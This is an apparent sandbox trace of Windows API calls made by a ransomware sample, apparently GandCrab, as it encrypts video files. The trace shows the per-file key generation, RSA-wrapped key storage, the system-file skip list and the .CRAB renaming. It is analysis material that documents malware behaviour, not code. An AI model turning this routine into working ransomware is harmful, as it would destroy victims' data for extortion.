	[0135.002] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0135.003] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.004] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.004] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0135.004] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.004] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.005] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.005] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.006] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0135.007] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32495f0) returned 1
	[0135.007] CryptGetKeyParam (in: hKey=0x32495f0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.007] CryptEncrypt (in: hKey=0x32495f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0135.008] GetLastError () returned 0x0
	[0135.008] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0135.008] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0135.027] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249770) returned 1
	[0135.028] CryptGetKeyParam (in: hKey=0x3249770, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.028] CryptEncrypt (in: hKey=0x3249770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0135.028] GetLastError () returned 0x0
	[0135.028] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.028] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\nScoDAv1eKJfTjHhZGNN.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\nscodav1ekjftjhhzgnn.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.029] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.029] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.030] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x15ce2, lpOverlapped=0x0) returned 1
	[0135.048] VirtualAlloc (lpAddress=0x0, dwSize=0x15cf0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.050] VirtualAlloc (lpAddress=0x0, dwSize=0x15cf0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0135.054] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.054] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffea31e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.055] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15cf0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x15cf0, lpOverlapped=0x0) returned 1
	[0135.055] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.056] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.074] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.074] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.074] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0135.074] CloseHandle (hObject=0x3ec) returned 1
	[0135.074] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.075] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.075] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.075] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.076] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.076] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.076] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.076] lstrcmpW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2=".") returned 1
	[0135.076] lstrcmpW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="..") returned 1
	[0135.076] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="PqtqjrtS6j-Knsx.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv"
	[0135.076] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.077] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv") returned 63
	[0135.077] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv") returned 63
	[0135.077] lstrlenW (lpString=".mkv") returned 4
	[0135.077] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.077] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0135.077] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.078] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv") returned 63
	[0135.078] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv") returned 63
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="desktop.ini") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="autorun.inf") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="ntuser.dat") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="iconcache.db") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="bootsect.bak") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="boot.ini") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="ntuser.dat.log") returned 1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="thumbs.db") returned -1
	[0135.078] lstrcmpiW (lpString1="PqtqjrtS6j-Knsx.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.078] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.078] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB") returned 68
	[0135.078] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\pqtqjrts6j-knsx.mkv")) returned 0x20
	[0135.079] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv", dwFileAttributes=0x20) returned 1
	[0135.079] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\pqtqjrts6j-knsx.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\pqtqjrts6j-knsx.mkv.crab")) returned 1
	[0135.080] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.081] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB"
	[0135.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB.CRAB"
	[0135.081] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0135.083] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.083] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.083] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.084] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0135.084] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0135.084] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.084] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0135.085] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.086] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.086] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.086] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0135.086] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0135.086] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.087] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.087] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.087] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0135.089] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249870) returned 1
	[0135.089] CryptGetKeyParam (in: hKey=0x3249870, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.089] CryptEncrypt (in: hKey=0x3249870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0135.090] GetLastError () returned 0x0
	[0135.090] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.090] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0135.092] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249a30) returned 1
	[0135.092] CryptGetKeyParam (in: hKey=0x3249a30, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.092] CryptEncrypt (in: hKey=0x3249a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0135.092] GetLastError () returned 0x0
	[0135.092] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0135.092] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\PqtqjrtS6j-Knsx.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\pqtqjrts6j-knsx.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.093] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.093] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.094] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x932b, lpOverlapped=0x0) returned 1
	[0135.111] VirtualAlloc (lpAddress=0x0, dwSize=0x9330, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.112] VirtualAlloc (lpAddress=0x0, dwSize=0x9330, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.114] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.114] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff6cd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.115] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x9330, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x9330, lpOverlapped=0x0) returned 1
	[0135.115] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.115] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.121] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.121] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.121] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0135.121] CloseHandle (hObject=0x3ec) returned 1
	[0135.121] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.122] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.122] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.122] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.122] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.122] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.123] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.123] lstrcmpW (lpString1="XeVl2.mp4", lpString2=".") returned 1
	[0135.123] lstrcmpW (lpString1="XeVl2.mp4", lpString2="..") returned 1
	[0135.123] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="XeVl2.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4"
	[0135.123] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.123] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4") returned 53
	[0135.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4") returned 53
	[0135.123] lstrlenW (lpString=".mp4") returned 4
	[0135.123] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.123] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0135.123] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.124] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4") returned 53
	[0135.124] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4") returned 53
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="desktop.ini") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="autorun.inf") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="ntuser.dat") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="iconcache.db") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="bootsect.bak") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="boot.ini") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="ntuser.dat.log") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="thumbs.db") returned 1
	[0135.124] lstrcmpiW (lpString1="XeVl2.mp4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.124] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.124] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB") returned 58
	[0135.124] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\xevl2.mp4")) returned 0x20
	[0135.124] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4", dwFileAttributes=0x20) returned 1
	[0135.125] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\xevl2.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\xevl2.mp4.crab")) returned 1
	[0135.126] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.126] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB"
	[0135.126] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB.CRAB"
	[0135.126] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0135.127] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.128] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.128] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.128] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0135.128] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0135.128] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.128] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0135.130] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.130] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.130] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.130] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0135.130] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.130] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.130] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.131] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.131] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0135.132] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249a70) returned 1
	[0135.133] CryptGetKeyParam (in: hKey=0x3249a70, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.133] CryptEncrypt (in: hKey=0x3249a70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0135.133] GetLastError () returned 0x0
	[0135.133] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0135.133] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0135.135] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249af0) returned 1
	[0135.135] CryptGetKeyParam (in: hKey=0x3249af0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.135] CryptEncrypt (in: hKey=0x3249af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0135.135] GetLastError () returned 0x0
	[0135.135] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
